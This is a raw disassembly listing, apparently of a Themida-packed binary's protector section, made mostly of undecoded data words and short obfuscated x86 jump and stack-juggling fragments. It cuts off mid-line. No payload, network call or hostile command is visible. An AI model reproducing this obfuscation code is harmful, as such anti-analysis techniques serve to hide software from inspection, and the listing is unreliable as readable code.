0B4500000h dd 0DD7E921h, 0C2830001h, 24148704h, 74FF515Ch, 0E9590424h dd 0B728h, 62774BDh, 0AEF5817Dh, 81408D51h, 8B76DEF5h dd 52A9E93Dh, 2C890000h, 58A8E924h, 0C1810000h, 21D62B3Eh dd 79BFE9h, 66922C00h, 81241C8Bh, 2C4h, 3FB35300h, 0F6E9B151h dd 80C9FED9h, 0E9C090E1h, 80C9FE02h, 0C8002DF1h, 0B1ACE9h dd 58C28900h, 5B5AD029h, 5653B951h, 0F1817387h, 717E0DD3h dd 49DBE981h, 0C801FFD0h, 0F69BE959h, 14890000h, 1917BA24h dd 0E2C16099h, 16EA8106h, 31153AD5h, 24148BD7h, 0E904C483h dd 19F1h, 573C77FFh, 0AE1602BFh, 0FEE94700h, 8100003Bh dd 0C037F7E9h, 0F678E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5513E2: ; CODE XREF: Themida_:0056434Aj inc edi jmp loc_551206 ; --------------------------------------------------------------------------- loc_5513E8: ; CODE XREF: Themida_:00553005j mov cl, 4Ah shl cl, 7 push edx jmp loc_55C399 ; --------------------------------------------------------------------------- db 66h dd 0E9240489h, 0FFFFE41Ah, 8124048Bh, 4C4h, 5FF90100h dd 4EC8153h, 0E9000000h, 3623h, 53242C89h, 0AA688468h dd 64DEE96Dh, 8B660000h, 8151240Ch, 4ECh, 1B7BE900h, 68500001h dd 3D2Fh, 9DFE9h db 0 ; --------------------------------------------------------------------------- loc_55143D: ; CODE XREF: Themida_:00551062j pop dword ptr [esp] mov esp, [esp] mov [esp], dx jmp loc_564AC1 ; --------------------------------------------------------------------------- dd 4C481h, 0EFE90000h, 87FFFFEFh, 895C2414h, 3C8B2404h dd 4C48324h, 34FF5751h, 0E9565924h, 4A21h, 4C4BDE05h, 240C8B09h dd 104C483h, 0EE8358C6h, 24343304h, 33243431h, 248B2434h dd 24148924h, 0FFE381E9h, 240C8BFFh, 1335CE9h, 8BDF8900h dd 0C483241Ch, 8BF83104h, 0C483243Ch, 618E6804h, 14890000h dd 0C6E3E924h, 83580000h, 0DC6804C4h, 8900003Ah, 58542404h dd 405h, 4EC8300h, 0BB241C89h, 31717772h, 0FFFFBD55h, 0EB29FFFFh dd 0B850555Dh, 5BFB054Bh, 610F6A05h, 25FC052Fh, 11E9E7B7h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5514F7: ; CODE XREF: Themida_:0055B7C9j add ebx, esi jmp loc_558B89 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 835BDD01h, 2C8704EDh, 24248B24h, 0E9240489h, 1035Ch dd 0E9CD0158h, 2CC4h, 4C781h, 5EE90000h, 8A000010h, 8804244Ch dd 5B04247Ch, 8AD9E9h db 0 ; --------------------------------------------------------------------------- loc_551539: ; CODE XREF: Themida_:0055434Fj mov ecx, [esp] add esp, 4 mov ebx, [esp] jmp loc_55F4A5 ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0EA7Ch, 0C8B60F66h, 11ECCE9h db 0 ; --------------------------------------------------------------------------- loc_551559: ; CODE XREF: Themida_:0055002Cj push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ch, 55h shr ch, 2 jmp loc_5622A9 ; --------------------------------------------------------------------------- loc_551571: ; CODE XREF: Themida_:0055B5E9j mov eax, 1FC1A83h jmp loc_555FF5 ; --------------------------------------------------------------------------- loc_55157B: ; CODE XREF: Themida_:0055CC35j add esi, 0FFFFFFFFh shr esi, 5 add esi, 0F9B7BFA0h add edi, esi jmp loc_555A30 ; --------------------------------------------------------------------------- loc_55158E: ; CODE XREF: Themida_:0055BAABj add ebp, 4 add ebp, 4 jmp loc_55CAF7 ; --------------------------------------------------------------------------- dd 2B60F66h, 12826866h, 0FFFE4AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5515A9: ; CODE XREF: Themida_:00554739j mov esi, [esp] add esp, 4 jmp loc_5567E1 ; --------------------------------------------------------------------------- dd 6E9C2FEh, 81000016h, 0C42F71EDh, 4E5E947h, 0C2830000h dd 24148704h, 5F74E9h, 0F7E95900h, 0FF000122h, 34FF2434h dd 24048B24h, 5604C483h, 5668E689h, 89000062h, 0EEB9240Ch dd 81084073h, 4073EAE9h, 816AE908h, 89560000h, 4C681E6h dd 0E9000000h, 80h, 4EA9CB81h, 0F3814296h, 7DDC5EEFh, 9EE9DD29h dd 5C0000E2h, 0E92434FFh, 0FFFFF65Bh, 4161E181h, 0BE9780Ch dd 5900006Eh, 3304C483h, 2C31242Ch, 242C3324h, 425E685Ch dd 4890000h, 242C8124h, 0FCF0EACh, 6840478Fh, 3C4Dh, 0B9240C89h dd 0FCF0EACh, 40BB53h, 0FB010000h, 0FF5B0B01h, 7FE92434h dd 33000091h, 248B240Ch, 41B16824h, 9E90000h, 0C1FFFFF5h dd 0E94105E9h, 7D38h, 4BA52h, 0D6010000h, 151AE95Ah, 0CF870001h dd 0CF87D1F7h, 0C781DFF7h, 3BB63A1Dh, 0B739EF81h, 0F8898E06h dd 0C4C7815Fh, 1171279h, 0C4EF81C7h, 8B171279h, 0C4812404h dd 4, 4EC83FDh, 4D13E9h, 0E9CA8900h, 6F6Eh, 4B951h, 0EBE90000h db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5516E3: ; CODE XREF: Themida_:00551B00j neg ecx push esi jmp loc_55968A ; --------------------------------------------------------------------------- db 59h dd 2474FF53h, 48F5B04h, 24248B24h, 9C242CD3h, 0FFE115E9h dd 5AF700FFh, 4EC8158h, 89000000h, 1BB62414h, 8081EF80h dd 0D4E94EC7h, 0BE000073h, 37907A8Fh, 15EF101h, 8FBD55F9h dd 8137907Ah, 7C6BCEC1h, 823AE931h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551736: ; CODE XREF: Themida_:00559588j push edx jmp loc_55422F ; --------------------------------------------------------------------------- dd 55FBED81h, 0E8010503h, 1BC7E9h, 40500h, 0C0830000h dd 74FF5004h, 0D2E90424h, 81000129h, 3EAE31EBh, 0A51E907h dd 0E2C10001h, 6CEA8103h, 8148369Ah, 947B8AEDh, 57D50178h dd 1F9FE9h, 49E95E00h db 0BEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551783: ; CODE XREF: Themida_:0055C598j mov ebp, ecx mov eax, ebp jmp loc_56227D ; --------------------------------------------------------------------------- loc_55178C: ; CODE XREF: Themida_:0055ABF8j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55CDA5 ; --------------------------------------------------------------------------- db 54h, 59h, 81h dd 4C1h, 89E95500h, 8BFFFFFBh, 0E9502414h, 586Fh, 31A0ED81h dd 0E9898C9Fh, 5550685Dh, 0C890000h, 0ABA3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5517CE: ; CODE XREF: Themida_:0055D03Ej pop eax push ebp push dword ptr [esp+4] pop ebp jmp loc_55EEAD ; --------------------------------------------------------------------------- dw 0CF01h dd 8B2434FFh, 0F1E9240Ch, 0B9000072h, 32E72931h, 0E2BB850h dd 0D8F76435h, 1D2FBE56h, 0F00174C1h, 10263E9h, 0C0CEFE00h dd 87E908E6h, 3000003Ch, 1C8B66FDh, 0A88FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551816: ; CODE XREF: Themida_:0055B19Bj add eax, 168F68E1h neg eax push ecx mov ecx, 0A465D417h add eax, ecx jmp loc_564DC3 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8B241487h, 0D1E92424h, 0F70000E5h, 0EAEE81DEh, 29DD9879h dd 0DCE95EF7h, 100000Dh, 0F2015AD6h, 0E924348Bh, 0D9B5h dd 4C481h, 0EC830000h, 241C8904h, 13696E9h, 724BBF00h dd 0F9319ED4h, 29FBE9h, 48B6600h, 80E95524h, 5200002Ah dd 0C281E289h, 4, 4C281h, 14870000h, 5A685C24h, 8900003Eh dd 89E9240Ch db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55189F: ; CODE XREF: Themida_:00550EF1j sub ecx, esi pop esi sub ecx, edx push 0DA1h mov [esp], edx jmp loc_557B8C ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8124h, 0E9000000h, 2BF8h, 6C76685Eh, 3C890000h, 0D173E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5518CE: ; CODE XREF: Themida_:00561414j add edi, 4 push ecx jmp loc_560FE5 ; --------------------------------------------------------------------------- dw 4BAh dd 1000000h, 34875AD6h, 24248B24h, 315DE831h, 1ED768C3h dd 4890000h, 0C2DEE924h, 535C0000h, 4C1015BBh, 3EBC152h dd 6E72F381h, 0C381414Eh, 413961EBh, 0C381D3F7h, 0A3477D0Ah dd 1C8BD929h, 0E7895724h, 4C781h, 0C7810000h, 4, 31243C33h dd 3C33243Ch, 82E95C24h db 0ECh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55193B: ; CODE XREF: Themida_:0055F0B8j mov ebp, 4 add edx, ebp pop ebp push edi mov edi, esp add edi, 4 jmp loc_555720 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0B2h dd 81577B43h, 0B7EE85C2h, 5AD601BEh, 0B951CE01h, 13201AD8h dd 48C5C681h, 0CE292D01h, 48C5EE81h, 0C8B2D01h, 4C48324h dd 35BCE959h, 685E0000h, 7B79h, 0B9240C89h, 79D71225h dd 7FD5C181h, 0F1816364h, 0F5D00BAh, 0C918E9h db 0 ; --------------------------------------------------------------------------- loc_5519A1: ; CODE XREF: Themida_:005617AEj mov edi, esi pop esi xor edi, 9E49B44Fh sub ecx, edi pop edi jmp loc_564840 ; --------------------------------------------------------------------------- dw 0CA80h dd 11D9E9CCh, 8B540001h, 0C4832434h, 0BF575204h, 4, 0B059E9h dd 24148700h, 6624248Bh, 9C240409h, 0FFDE39E9h db 0FFh ; --------------------------------------------------------------------------- loc_5519DD: ; CODE XREF: Themida_:00558AD3j sub ebp, edi push 25CCh jmp loc_563A0D ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 3 dd 0E3D7F581h, 92E90BB1h, 310000ACh, 4332404h, 24248B24h dd 0EBAEE9h db 0 ; --------------------------------------------------------------------------- loc_551A05: ; CODE XREF: Themida_:00553F59j sub esp, 4 jmp loc_55327C ; --------------------------------------------------------------------------- db 0BEh, 2 dup(0) dd 89530000h, 5BDD89F3h, 0E924348Bh, 0C2B8h, 7B2DE829h dd 5D17FC65h, 8904EC83h, 0EFBB241Ch, 815A4735h, 586233C3h dd 1EEB8100h, 5525D163h, 6E1CE9h, 57515F00h, 0A27D6BFh dd 2028B939h, 0C181E0E1h, 44A76769h, 0E981F901h, 44A76769h dd 0E9CA215Fh, 0DB9Bh ; --------------------------------------------------------------------------- loc_551A68: ; CODE XREF: Themida_:00557CAFj push 1D30h jmp loc_550572 ; --------------------------------------------------------------------------- loc_551A72: ; CODE XREF: Themida_:0055B72Dj add ebp, 15893174h mov ecx, [esp] push ebp jmp loc_564053 ; --------------------------------------------------------------------------- dd offset dword_55B068 align 2 dw 1C89h dd 804EB324h, 0DD888FEBh, 59EA285Bh, 206E9h db 0 ; --------------------------------------------------------------------------- loc_551A99: ; CODE XREF: Themida_:0055CEEAj sub edx, 22E92F01h push ebx push esi mov esi, 5EA2479h jmp loc_554170 ; --------------------------------------------------------------------------- db 8Bh dd 5DE92404h, 0BF0000DDh, 648B5719h, 8247C01h, 242C8B5Fh dd 4C481h, 815B0000h, 4C3h, 4EC8100h, 89000000h, 1CE9242Ch db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551ADB: ; CODE XREF: Themida_:0055C71Aj pop esp add esi, 4 push 3484h mov [esp], edi mov edi, 2 push ecx mov ecx, 2C8C4D3Eh sub esi, ecx pop ecx add esi, edi push ecx mov ecx, 50A11411h jmp loc_5516E3 ; --------------------------------------------------------------------------- loc_551B05: ; CODE XREF: Themida_:0055C5BAj or esi, 736A5717h jmp loc_55CC30 ; --------------------------------------------------------------------------- dd 5C24048Fh, 815B5453h, 4C3h, 4685600h, 5E000000h, 348BF301h dd 4C48124h, 87000000h, 248B241Ch, 3FFF6824h, 3C890000h dd 3C8B5424h, 4C48124h, 81000000h, 4C7h, 720F6800h, 34890000h dd 4BE24h, 4DE90000h, 81000045h, 0BD6CF7C5h, 81C52975h dd 0BD6CF7EDh, 995DE975h, 0F0290000h, 9287E9h, 2474FF00h dd 2434FF04h, 8B2434FFh, 5AE92404h db 0C8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551B8B: ; CODE XREF: Themida_:00555A1Ej xor edx, ebp pop ebp add [esp+4], edx push dword ptr [esp] pop edx push edx push esp jmp loc_55C869 ; --------------------------------------------------------------------------- loc_551B9D: ; CODE XREF: Themida_:00562289j mov ebp, [esp] add esp, 4 push eax jmp loc_563AD3 ; --------------------------------------------------------------------------- loc_551BAC: ; CODE XREF: Themida_:00554130j sub ebx, 8B5E7CC3h xor ebx, 5A015CCh sub ebx, 0E3520C75h xor ebp, ebx jmp loc_5648FE ; --------------------------------------------------------------------------- loc_551BC5: ; CODE XREF: Themida_:00553717j pop edi push ecx jmp loc_5560EF ; --------------------------------------------------------------------------- loc_551BCC: ; CODE XREF: Themida_:00563066j pop edx push bx mov bl, cl inc bl mov cl, bl pop bx jmp loc_55536C ; --------------------------------------------------------------------------- dd 0DA37FFBAh, 5AD7297Dh, 5350D729h, 0D6EBE9h, 242C8900h dd 0EC83E589h, 0F9FFE904h, 0EE810000h, 4EB401DDh, 31DBA52h dd 0E0E96F79h, 0F7000086h, 81EED1DEh, 6D3B40C6h, 23F68163h dd 29B41D2Ch, 0F2015EF2h, 16D7E9h, 5EF00100h, 942A862Dh dd 0E9D0012Bh, 9D7Eh ; --------------------------------------------------------------------------- loc_551C34: ; CODE XREF: Themida_:0055BBBCj push 30B0h mov [esp], ebp mov ebp, 0B0F7332h dec ebp add ebp, 7E2C308Bh sub ebp, 892072F2h mov edi, ebp mov ebp, [esp] add esp, 4 sub edx, 17A01657h add edx, edi jmp loc_5545A8 ; --------------------------------------------------------------------------- dw 1489h aItqhkv db '$QhKV',0 dd 243C8900h, 9E6963BFh, 68505708h, 58B65A60h, 0C8EDE958h dd 0CD890000h, 4EC8159h, 89000000h, 0D1BB241Ch, 830D770Ah dd 32E901EBh, 30000086h, 0E9D530EAh, 0C71Bh, 58D96E05h dd 58C62906h, 65A6C681h, 0C6013F72h, 0DF50E9h, 24248900h dd 81E18951h, 4C1h, 0E57BE900h, 37680000h, 8900004Bh, 74FF242Ch dd 2C8B0424h, 4C48124h, 8F000000h, 895C2404h, 58542404h dd 405h, 4EC8300h, 53242C89h, 0D397568h, 241C8B32h, 4C481h dd 81430000h, 0D3972EBh, 0FFDD8932h, 0E95B2434h, 1B96h ; --------------------------------------------------------------------------- loc_551D18: ; CODE XREF: Themida_:00558B8Aj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_55B9C9 ; --------------------------------------------------------------------------- db 58h dd 0E92434FFh, 29BDh, 8CC4E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551D36: ; CODE XREF: Themida_:00561127j pop ebp jmp loc_5624DF ; --------------------------------------------------------------------------- dd 30F5F681h, 6EE92E19h db 28h, 1, 0 ; --------------------------------------------------------------------------- loc_551D47: ; CODE XREF: Themida_:0055C36Cj pop dword ptr [esp] jmp loc_55C805 ; --------------------------------------------------------------------------- db 89h dd 55BB241Ch, 0E9561D3Ch, 60A2h, 5E2434FFh, 8F04C483h dd 248B2404h, 240C8924h, 0FFDAA5E9h, 40F580FFh, 0F580D5F6h dd 9EED809Ch, 0C059EA08h, 0C28003EAh, 5AD58851h, 4CCFE9h db 0 ; --------------------------------------------------------------------------- loc_551D8D: ; CODE XREF: Themida_:0055ED19j mov ebp, edi pop edi push ebp push 3F75h mov [esp], edi mov edi, 48B26A06h jmp loc_554724 ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 8704C183h, 555C240Ch, 42474FFh, 83242C8Bh dd 48F04C4h, 2C2DE924h, 0D0890001h, 8324148Bh, 5A5E04C4h dd 8758C701h, 248B243Ch, 9CC88524h, 0FFDA35E9h, 2434FFFFh dd 4C4815Ah, 0E9000000h, 0FFFFDA26h, 83E9E089h, 5EFFFFDAh dd 0D427C781h, 0FD89F446h, 5DEF015Fh, 0A93DE9h, 0BCE78100h dd 685C9432h, 6DA9h, 0E9243489h, 993Ch, 0E9241489h, 0CEC4h dd 0D0E9EE21h, 5800012Bh, 9DB1E9h, 2DE78100h, 817B2821h dd 90A37EFh, 81D7F710h, 0C33D3EF7h, 0E9DFF735h, 21A2h dd 0A736E981h, 0D8E9FC45h db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551E57: ; CODE XREF: Themida_:00556C2Aj shl ecx, 2 inc ecx and ecx, 7FE75CA8h xor ecx, 7E460C0Ch add edi, ecx pop ecx sub edi, 4 xchg edi, [esp] pop esp jmp loc_5613AF ; --------------------------------------------------------------------------- loc_551E79: ; CODE XREF: Themida_:00553F10j shr ebx, 3 push eax jmp loc_550963 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0BA14E9h, 0F632B300h, 80D3F6DBh, 6AE989C3h db 0E6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551E9B: ; CODE XREF: Themida_:0055750Aj add esp, 4 jmp loc_54F9C9 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 8304E0C1h, 1C8904ECh, 0B06BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551EBA: ; CODE XREF: Themida_:00559685j mov esi, [esp] add esp, 4 push 1637h mov [esp], esi mov esi, 2 jmp loc_55493E ; --------------------------------------------------------------------------- db 68h, 0A6h, 28h dd 3C890000h, 2BF24h, 88E90000h, 56000064h, 0E826A368h dd 4FE95E13h, 0BE0000BAh, 56034F1Eh, 63EFE9h, 7E5C000h dd 0FFE83DE9h, 242C8BFFh, 66E6E9h db 0 ; --------------------------------------------------------------------------- loc_551F0D: ; CODE XREF: Themida_:005562EDj push esp pop ebx add ebx, 4 push esi push ebp push 69DAh mov [esp], ebx mov ebx, 25672D5Eh jmp loc_550596 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 6D35E9h db 0 ; --------------------------------------------------------------------------- loc_551F31: ; CODE XREF: Themida_:0055DFFFj shr esi, 8 jmp loc_558966 ; --------------------------------------------------------------------------- loc_551F39: ; CODE XREF: Themida_:0054FC9Cj push 5842h jmp loc_553001 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 27B5E924h db 1, 0 ; --------------------------------------------------------------------------- loc_551F4E: ; CODE XREF: Themida_:00564978j pop dword ptr [esp] pop esp push edi mov edi, 623170FCh sub esi, edi pop edi push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_55B854 ; --------------------------------------------------------------------------- aLsl db 'lL',0 align 2 dw 0C14Eh dd 0EEC108E6h, 6E6C104h, 5C04C681h, 0F3295EE6h, 241C875Eh dd 241C895Ch, 123E68h, 9E33E900h, 0E6890000h, 4C681h, 0C6810000h dd 4, 5C243487h, 80ACEF80h, 0EFC0ECE7h, 5EF78003h, 96E8E9h dd 74FF5100h, 8F590424h, 248B2404h, 243C3324h, 0FFDCFEE9h dd 241C8BFFh, 8904C483h, 0C8B5BDDh, 0E6895624h, 4C681h dd 0C6830000h, 74FF5604h, 8F5E0424h, 248B2404h, 1C6F2124h dd 5D2434FFh, 9668h, 572BE900h, 0E2890000h, 97B68h, 240C8900h dd 1197DE9h db 0 ; --------------------------------------------------------------------------- loc_552019: ; CODE XREF: Themida_:0055C1EBj or edx, ebp pop ebp shr edx, 5 jmp loc_55D754 ; --------------------------------------------------------------------------- dd 2559C889h, 15045132h, 68h, 24042900h, 0B9514858h, 107h dd 4C4BDE2Dh, 0E9C80109h, 0FFFFF428h, 8245429h, 246C015Ah dd 19756804h, 3C890000h, 0FA55E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55205E: ; CODE XREF: Themida_:005644B7j pop edx or ebx, ebx jmp loc_5609C8 ; --------------------------------------------------------------------------- dw 0E95Bh dd 56F3h, 5158C329h, 0C889D989h, 733E959h, 0E9580000h dd 0E771h, 3871EF81h, 6E907FAh db 24h, 1, 0 ; --------------------------------------------------------------------------- loc_55208B: ; CODE XREF: Themida_:0055E6C2j dec edx not edx jmp loc_561EE3 ; --------------------------------------------------------------------------- db 89h dd 0E2892414h, 4C281h, 0C2830000h, 1A94E902h, 4890001h dd 0FDC4E924h, 0C330000h, 240C3124h, 122C0E9h, 24048100h dd 4, 8324048Fh, 8B042404h, 0E5E92414h, 580000DBh, 0A7EAE9h dd 24248900h, 4240483h, 85E95258h, 330000DFh, 4312404h dd 24043324h, 8924248Bh, 0BD552434h, 422325Dh, 0C4E945h dd 248B0001h, 24148924h, 0EC83E289h, 241C8904h, 4BBh, 7EA8100h dd 81460B27h, 5D2E65EAh, 81DA0132h, 5D2E65C2h, 0A75E932h dd 0C3680000h, 8900000Eh, 4832424h, 2C8B0424h, 1C53E924h db 1, 0 ; --------------------------------------------------------------------------- loc_55213E: ; CODE XREF: Themida_:0055B219j mov esi, [esp] add esp, 4 shl ebp, 3 not ebp jmp loc_55DB46 ; --------------------------------------------------------------------------- dw 11B1h dd 0F180C9FEh, 6E9C020h, 5008E1C0h, 8568E9h, 24E95000h db 0E9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552167: ; CODE XREF: Themida_:00557DB6j push 4E0Fh mov [esp], ebx sub esp, 4 mov [esp], ebp push 68564159h mov ebp, [esp] add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_55DEEA ; --------------------------------------------------------------------------- loc_55219B: ; CODE XREF: Themida_:0055FAC1j shl edx, 6 add edx, 2E512A73h neg edx jmp loc_55F3C6 ; --------------------------------------------------------------------------- loc_5521AB: ; CODE XREF: Themida_:00562E4Cj add dh, 0FFh and dh, 18h shr dh, 8 and dh, 0A3h jmp loc_559F25 ; --------------------------------------------------------------------------- dd 529CEB80h, 0FFD9BCE9h, 2C895CFFh, 7BA0BD24h, 0DDF70CFAh dd 68h, 242C2900h, 0ED81455Dh, 0CFA7B9Dh, 1B0AEF81h, 0C7811C22h dd 7FA3871h, 3607EF81h, 0EF01150Ch, 9955E9h db 0 ; --------------------------------------------------------------------------- loc_5521F9: ; CODE XREF: Themida_:0055FC66j pop esp shl ecx, 7 add ecx, 487944D0h add ecx, 0FFFFFFFFh push edi mov edi, 46600D7Ch jmp loc_55B5C2 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0A6h dd 0FF6CA45Bh, 0BAE92434h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55221F: ; CODE XREF: Themida_:0056463Fj add ebx, edi sub ebx, 0F061FCAh sub ebx, 6A3D1B9Ch push dword ptr [ebx] sub dword ptr [esp], 45B228EBh mov ecx, [esp] add esp, 4 push edi mov edi, 45B228EBh add ecx, edi jmp loc_55D2AD ; --------------------------------------------------------------------------- loc_55224C: ; CODE XREF: Themida_:00561184j add eax, ebx pop ebx pop edi push eax push dword ptr [esp+4] pop eax jmp loc_55B5D5 ; --------------------------------------------------------------------------- db 8Bh dd 0B1E92424h, 33FFFFF1h, 14312414h, 24143324h, 1943685Ch dd 2C890000h, 5973BD24h, 0F5812870h, 2D730C8Ch, 107ACE9h dd 24048F00h, 2C5835Ch, 5C242C87h, 55E9F766h, 0D963E954h dd 2D5FFFFFh, 4, 0FFFE3EE9h, 4DE995FFh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5522AB: ; CODE XREF: Themida_:00555B8Bj sub ebp, 507D44ECh add ebp, 104F1300h sub ebp, 2A9F1EBBh not ebp jmp loc_553E50 ; --------------------------------------------------------------------------- dd 10C180h, 0EE8059CEh, 0B5C38016h, 54EB80h, 54C380F3h dd 66B1B551h, 0E904B050h, 77D4h ; --------------------------------------------------------------------------- loc_5522E4: ; CODE XREF: Themida_:0055AFF9j pop dword ptr [esp] pop esp add esp, 4 jmp loc_560F9C ; --------------------------------------------------------------------------- dd 299DC581h, 0C5810E9Bh, 944F717Eh, 2C8BEB29h, 4C48324h dd 5BE9D801h, 2DFFFFFDh, 7109633Fh, 71722Dh, 5861E92Ch dd 0EC810000h, 4, 0B6241489h, 0B5516691h, 66EE30AFh, 582C59h dd 0C65E9F0h db 1, 0 ; --------------------------------------------------------------------------- loc_552336: ; CODE XREF: Themida_:00556CDFj sub eax, 4FA70366h add eax, edi add eax, 4FA70366h pop edi push dword ptr [esp] pop edx jmp loc_5624D5 ; --------------------------------------------------------------------------- dd 9C240428h, 0FFD4C1E9h, 8BCF29FFh, 52E9240Ch, 680000B5h dd 1443h, 831EE9h db 0 ; --------------------------------------------------------------------------- loc_552369: ; CODE XREF: Themida_:005621A2j pop edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 push ebp mov ebp, 4 add ebx, 75B40CCCh push ebp mov ebp, 6F0E60EBh jmp loc_564101 ; --------------------------------------------------------------------------- loc_5523A4: ; CODE XREF: Themida_:00559D05j add dword ptr [esp+4], 0A9B2563h jmp loc_55F051 ; --------------------------------------------------------------------------- loc_5523B1: ; CODE XREF: Themida_:00557064j inc edi neg edi xor edi, 63E811B1h shl edi, 8 sub edi, 0F368F295h sub ebx, edi pop edi add ebx, edi add ebx, 962036Bh jmp loc_55460F ; --------------------------------------------------------------------------- loc_5523D3: ; CODE XREF: Themida_:00559FBDj sub eax, edi sub eax, 2D5A491Bh push edi mov edi, 17A0169Dh and edi, 1DF2708h dec edi jmp loc_559ADB ; --------------------------------------------------------------------------- dd 348BF789h, 4C48124h, 0E9000000h, 1E2Ch, 0C158C189h dd 0E98105E9h, 2CB66299h, 0E907E1C1h, 5DCFh ; --------------------------------------------------------------------------- loc_552410: ; CODE XREF: Themida_:0055D46Cj pop eax jmp loc_55CD22 ; --------------------------------------------------------------------------- loc_552416: ; CODE XREF: Themida_:0055BF1Ej mov [esp], ecx mov ecx, 18087534h xor ecx, 2AEF453Ah sub ecx, 758C6204h or ecx, 27E4623Ah not ecx jmp loc_561798 ; --------------------------------------------------------------------------- loc_552437: ; CODE XREF: Themida_:00555841j pop edi xor [esp+4], ebp jmp loc_5570F8 ; --------------------------------------------------------------------------- aCSom db ')鮌',0 dd 58E18800h, 888FF180h, 0E58859CCh, 0FA9FE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55245E: ; CODE XREF: Themida_:005598C5j sub eax, 0EBF3BF8Fh add eax, 9951082h push edi push ebx mov ebx, 64433768h jmp loc_55553F ; --------------------------------------------------------------------------- dd 0BB241C89h, 14B60D70h, 4EC81h, 2C890000h, 4B56BD24h dd 0E5817B5Ch, 57D350E5h, 0F581DDF7h, 46917F0Eh, 771368h dd 24048900h, 657FBD55h, 0E8894CB8h, 0EC38E95Dh, 0EA83FFFFh dd 85F28101h, 0E910953Ah, 9C8Ch, 4BDh, 5DEB0100h, 2474FF53h dd 241C8B04h, 8F04C483h, 248B2404h, 27FCE924h, 0E5890001h dd 7176E9h, 0EEF58100h, 0E9D83B49h, 3C6Bh, 81E68956h, 4C6h dd 4EE8300h, 5C243487h, 0BF243C89h, 787E157Ah, 7E5CEF81h dd 0DFF71A21h, 0FFFFC781h, 0F781FFFFh, 812A04F6h, 3C8BF931h dd 63685324h, 8900002Bh, 4832424h, 505B0424h, 471EE953h dd 1C890000h, 7F10BB24h, 0E3816973h, 65D83AF9h, 70ABC381h dd 0B4E91CC6h db 0EFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55254B: ; CODE XREF: Themida_:0056030Cj sub [esp+4], edx pop edx mov ecx, [esp] add esp, 4 add ecx, 74D14812h pop eax xor ecx, ebp pop ebp dec ecx jmp loc_55FCD9 ; --------------------------------------------------------------------------- dw 0C483h dd 0D2A8E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55256E: ; CODE XREF: Themida_:00558066j push dword ptr [esp] mov edx, [esp] add esp, 4 push eax push esp pop eax push ecx push edx mov edx, 4 jmp loc_55BB18 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 87000000h, 15C243Ch, 4EC81C6h, 89000000h, 0EC812404h dd 4, 0E9243C89h, 791Eh, 3304C783h, 3C31243Ch, 0FAB6E924h dd 0C5FE0000h, 0E96FC580h, 6972h, 88CB8853h, 0F8E95BDEh db 0ADh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5525CF: ; CODE XREF: Themida_:00561B97j pop ebp add eax, 186410A0h sub eax, edi push 1C8h mov [esp], ebx mov ebx, 186410A0h sub eax, ebx mov ebx, [esp] jmp loc_55BBC1 ; --------------------------------------------------------------------------- dw 8966h dd 2EE9240Ch, 0BD0000BFh, 2, 54D7EB81h, 0B9513482h, 1DB03D79h dd 0A8E9CB29h, 0B80000BAh, 4, 0E958C589h, 0EA34h ; --------------------------------------------------------------------------- loc_55261C: ; CODE XREF: Themida_:00554078j add edi, esi pop esi xchg edi, [esp] jmp loc_559FE0 ; --------------------------------------------------------------------------- db 81h dd 1C7h, 0C3EF8100h, 0E9776CD1h, 1236h ; --------------------------------------------------------------------------- loc_552638: ; CODE XREF: Themida_:00555733j add ebx, ecx jmp loc_558270 ; --------------------------------------------------------------------------- db 1 dd 0BE2E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552646: ; CODE XREF: Themida_:0055EAD8j mov edi, 550B4A79h push eax mov eax, 4BB162AEh push ebp mov ebp, 50D6520Ah jmp loc_557635 ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 178E900h, 0E7890001h, 4C781h, 0EF810000h dd 4, 